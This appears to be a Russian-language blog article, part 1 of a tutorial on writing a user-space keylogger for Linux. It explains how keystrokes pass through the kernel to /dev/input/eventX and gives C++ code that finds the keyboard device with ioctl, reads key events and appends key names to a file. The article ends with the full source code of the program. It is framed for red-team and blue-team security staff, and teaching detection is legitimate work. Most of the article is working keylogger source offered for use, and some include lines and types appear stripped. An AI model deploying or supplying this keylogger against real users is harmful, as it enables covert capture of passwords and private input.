Бесплатно Экспресс-аудит сайта:

15.07.2022

Пишем кейлоггер на Linux: часть 1

Что такое кейлоггер?

Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.

Почему нужно изучать кейлоггеры?

Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.

Кому это может понадобиться?

Специалистам Offensive Security или красной команде:

  1. Вы узнаете, какие методы внедрения кейлоггеров существуют;
  2. Вы поймете, где можно запустить кейлоггер.

Специалистам Defensive Security или синей команде:

  1. Вы поймете, где могут скрываться кейлоггеры;
  2. Вы узнаете общие API и методы, которые следует отслеживать для обнаружения кейлоггеров.

Взаимодействие клавиатуры и Linux

Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:

        /-----------+-----------   /-----------+-----------          |   app 1   |    app 2  |   |   app 3   |    app 4  |          -----------+-----------/   -----------+-----------/                      ^                           ^                      |                           |              +-------+                           |              |                                   |              | key symbol              keycode   |              | + modifiers                       |              |                                   |              |                                   |          +---+-------------+         +-----------+-------------+          +     X server    |         |    /dev/input/eventX    |          +-----------------+         +-------------------------+                  ^                               ^                  |      keycode / scancode       |                  +---------------+---------------+                                  |                                  |                  +---------------+--------------+      interrupt                  |           kernel             | <--------=-------+                  +------------------------------+                  |                                                                    |      +----------+     USB, PS/2      +-------------+ PCI, ...   +-----+      | keyboard |------------------->| motherboard |----------->| CPU |      +----------+    key up/down     +-------------+            +-----+  

Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши (keydown и keyup), который называется кодом клавиши или скан-кодом (keycode или scancode). Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например, keydown и/или keyup) и запустит прерывание для CPU.

CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs (/dev/input/eventX).

В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.

Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:

  • Кейлоггер определит, какой файл /dev/input/eventX является клавиатурным устройством и будет напрямую считывать данные из этого файла.
  • Кейлоггер запросит данные о событиях у X-сервера.

А как найти клавиатуру в системе?

Определить клавиатуру или устройство, заменяющее ее, довольно просто:

  1. Итерируем все файлы по `/dev/input/;
  2. Проверяем, принадлежит ли найденный файл к символьному устройству;
  3. Проверяем, поддерживает ли данный файл события клавиатуры;
  4. Проверяем, есть ли в данном файле клавиши, встречающиеся на клавиатурах.

В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные.

Так можно итерировать каталоги и искать символьные файлы в C++17:

  std::string get_kb_device()  {      std::string kb_device = "";        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))      {          std::filesystem::file_status status = std::filesystem::status(p);            if (std::filesystem::is_character_file(status))          {              kb_device = p.path().string();          }      }      return kb_device;  }  

А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:

  1. Проверим, действительно ли файл доступен для чтения.
  2. Используем IOCTL (функцию, манипулирующую базовыми параметрами устройств, представленных в виде специальных файлов), чтобы проверить, поддерживаются ли события клавиатуры.
  3. Еще раз используем IOCTL и узнаем, поддерживаются ли нужные нам клавиши.

Пример кода для вышеописанной логики приведен ниже:

std::string filename = p.path().string();  int fd = open(filename.c_str(), O_RDONLY);  if(fd == -1)  {      std::cerr << "Error: " << strerror(errno) << std::endl;      continue;  }    int32_t event_bitmap = 0;  int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;    ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);  if((EV_KEY & event_bitmap) == EV_KEY)  {      ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);      if((kbd_bitmap & event_bitmap) == kbd_bitmap)      {          // The device supports A, B, C, Z keys, so it probably is a keyboard          kb_device = filename;          close(fd);          break;      }    }  close(fd);  

Как реализовать считывание событий клавиатуры?

Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:

  1. Считываем данные с клавиатуры в объект `input_event`;
  2. Проверяем, является ли тип события EV_KEY (т.е. событием нажатия клавиши);
  3. Расшифруем поля и извлечем скан-код;
  4. Сопоставим скан-код с названием клавиши.

Структура `input_event` выглядит так:

  struct input_event {  #if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)  	struct timeval time;  #define input_event_sec time.tv_sec  #define input_event_usec time.tv_usec  #else  	__kernel_ulong_t __sec;  #if defined(__sparc__) && defined(__arch64__)  	unsigned int __usec;  	unsigned int __pad;  #else  	__kernel_ulong_t __usec;  #endif  #define input_event_sec  __sec  #define input_event_usec __usec  #endif  	__u16 type;  	__u16 code;  	__s32 value;  }  

Рассмотрим переменные в структуре:

  • `time`– временная метка, возвращающая время, в которое произошло событие.
  • ``type`– тип события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он будет **EV_KEY**.
  • ``code`– код события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он станет скан-кодом.
  • ``value`– значение события. Оно может может показывать относительное изменение EV_REL, совершенно новое значение EV_ABS. В EV_KEY оно принимает значение 0 для keyup, 1 для keydown и 2 для автоповтора.

Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом:

std::vector keycodes = {          "RESERVED",          "ESC",          "1",          "2",          "3",          "4",          "5",          "6",          "7",          "8",          "9",          "0",          "MINUS",          "EQUAL",          "BACKSPACE",          "TAB",          "Q",          "W",          "E",          "R",          "T",          "Y",          "U",          "I",          "O",          "P",          "LEFTBRACE",          "RIGHTBRACE",          "ENTER",          "LEFTCTRL",          "A",          "S",          "D",          "F",          "G",          "H",          "J",          "K",          "L",          "SEMICOLON",          "APOSTROPHE",          "GRAVE",          "LEFTSHIFT",          "BACKSLASH",          "Z",          "X",          "C",          "V",          "B",          "N",          "M",          "COMMA",          "DOT",          "SLASH",          "RIGHTSHIFT",          "KPASTERISK",          "LEFTALT",          "SPACE",          "CAPSLOCK",          "F1",          "F2",          "F3",          "F4",          "F5",          "F6",          "F7",          "F8",          "F9",          "F10",          "NUMLOCK",          "SCROLLLOCK"  };  

Для полноты картины ниже приведен полный исходный код кейлоггера:

  #include   #include   #include   #include     #include   #include     #include     #include   #include   #include   #include     std::vector keycodes = {          "RESERVED",          "ESC",          "1",          "2",          "3",          "4",          "5",          "6",          "7",          "8",          "9",          "0",          "MINUS",          "EQUAL",          "BACKSPACE",          "TAB",          "Q",          "W",          "E",          "R",          "T",          "Y",          "U",          "I",          "O",          "P",          "LEFTBRACE",          "RIGHTBRACE",          "ENTER",          "LEFTCTRL",          "A",          "S",          "D",          "F",          "G",          "H",          "J",          "K",          "L",          "SEMICOLON",          "APOSTROPHE",          "GRAVE",          "LEFTSHIFT",          "BACKSLASH",          "Z",          "X",          "C",          "V",          "B",          "N",          "M",          "COMMA",          "DOT",          "SLASH",          "RIGHTSHIFT",          "KPASTERISK",          "LEFTALT",          "SPACE",          "CAPSLOCK",          "F1",          "F2",          "F3",          "F4",          "F5",          "F6",          "F7",          "F8",          "F9",          "F10",          "NUMLOCK",          "SCROLLLOCK"  };    int loop = 1;    void sigint_handler(int sig)  {      loop = 0;  }    int write_all(int file_desc, const char *str)  {      int bytesWritten = 0;      int bytesToWrite = strlen(str);        do      {          bytesWritten = write(file_desc, str, bytesToWrite);            if(bytesWritten == -1)          {              return 0;          }          bytesToWrite -= bytesWritten;          str += bytesWritten;      } while(bytesToWrite > 0);        return 1;  }    void safe_write_all(int file_desc, const char *str, int keyboard)  {      struct sigaction new_actn, old_actn;      new_actn.sa_handler = SIG_IGN;      sigemptyset(&new_actn.sa_mask);      new_actn.sa_flags = 0;        sigaction(SIGPIPE, &new_actn, &old_actn);        if(!write_all(file_desc, str))      {          close(file_desc);          close(keyboard);          std::cerr << "Error: " << strerror(errno) << std::endl;          exit(1);      }        sigaction(SIGPIPE, &old_actn, NULL);  }    void keylogger(int keyboard, int writeout)  {      int eventSize = sizeof(struct input_event);      int bytesRead = 0;      const unsigned int number_of_events = 128;      struct input_event events[number_of_events];      int i;        signal(SIGINT, sigint_handler);        while(loop)      {          bytesRead = read(keyboard, events, eventSize * number_of_events);            for(i = 0; i < (bytesRead / eventSize); ++i)          {              if(events[i].type == EV_KEY)              {                  if(events[i].value == 1)                  {                      if(events[i].code > 0 && events[i].code < keycodes.size())                      {                          safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard);                          safe_write_all(writeout, "
", keyboard);                      }                      else                      {                          write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));                      }                  }              }          }      }      if(bytesRead > 0) safe_write_all(writeout, "
", keyboard);  }    std::string get_kb_device()  {      std::string kb_device = "";        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))      {          std::filesystem::file_status status = std::filesystem::status(p);            if (std::filesystem::is_character_file(status))          {              std::string filename = p.path().string();              int fd = open(filename.c_str(), O_RDONLY);              if(fd == -1)              {                  std::cerr << "Error: " << strerror(errno) << std::endl;                  continue;              }                int32_t event_bitmap = 0;              int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;                ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);              if((EV_KEY & event_bitmap) == EV_KEY)              {                  // The device acts like a keyboard                    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);                  if((kbd_bitmap & event_bitmap) == kbd_bitmap)                  {                      // The device supports A, B, C, Z keys, so it probably is a keyboard                      kb_device = filename;                      close(fd);                      break;                  }              }              close(fd);          }      }      return kb_device;  }    void print_usage_and_quit(char *application_name)  {      std::cout << "Usage: " << application_name << " output-file" << std::endl;      exit(1);  }    int main(int argc, char *argv[])  {      std::string kb_device = get_kb_device();        if (argc < 2)          print_usage_and_quit(argv[0]);        if(kb_device == "")          print_usage_and_quit(argv[0]);        int writeout;      int keyboard;        if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0)      {          std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl;          return 1;      }        if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0)      {          std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl;          return 1;      }        std::cout << "Keyboard device: " << kb_device << std::endl;      keylogger(keyboard, writeout);        close(keyboard);      close(writeout);        return 0;  }